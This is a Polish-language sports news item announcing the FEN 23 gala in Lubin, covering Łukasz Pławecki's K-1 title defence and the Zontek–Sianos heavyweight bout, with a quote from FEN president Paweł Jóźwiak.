Pierwszą obronę pasa mistrzowskiego w formule K-1 w kategorii do 77 kilogramów stoczy Łukasz Pławecki (21-14-1). "Boom Boom" podczas FEN 21 pokonał Wojciecha Wierzbickiego i dołożył kolejny skalp do swojej bogatej kariery sportowej. Zawodnik z Nowego Sącza w przeszłości zdobył między innymi Puchar Świata.

Podczas FEN 23 kibice zobaczą pojedynek w kategorii ciężkiej Marcina Zontka (17-11, 9 KO, 5 SUB) z Marcinem Sianosem (3-3, 3 KO). Pierwszy z zawodników to weteran polskiego MMA i jeden z najbardziej doświadczonych wojowników FEN. "Zonti" ma na swoim koncie już 7 pojedynków pod szyldem federacji, a w maju 2018 roku bez problemu rozprawił się z Tonim Valtonenem. Sianos natomiast efektownie zwyciężył z Mateuszem Duczmalem podczas FEN 18 i marzy o pasie mistrzowskim w kategorii ciężkiej. Zwycięstwo z Zontkiem ma być skokiem jakościowym w jego karierze.

– Zawsze miło wspominam gale, które miały miejsce w Lubinie. Nie przesadzę, jeżeli powiem, że za każdym razem tworzyliśmy na Dolnym Śląsku kapitalne widowisko. Tym razem będzie podobnie, bo zaoferujemy naszym fanom znakomitą rozpiskę walk. Będą pojedynki mistrzowskie, będzie starcie w kategorii ciężkiej. Na pewno wielu zawodników z tego regionu pokaże się w klatce. Nie mogę już doczekać się gali FEN 23 – powiedział prezes FEN, Paweł Jóźwiak.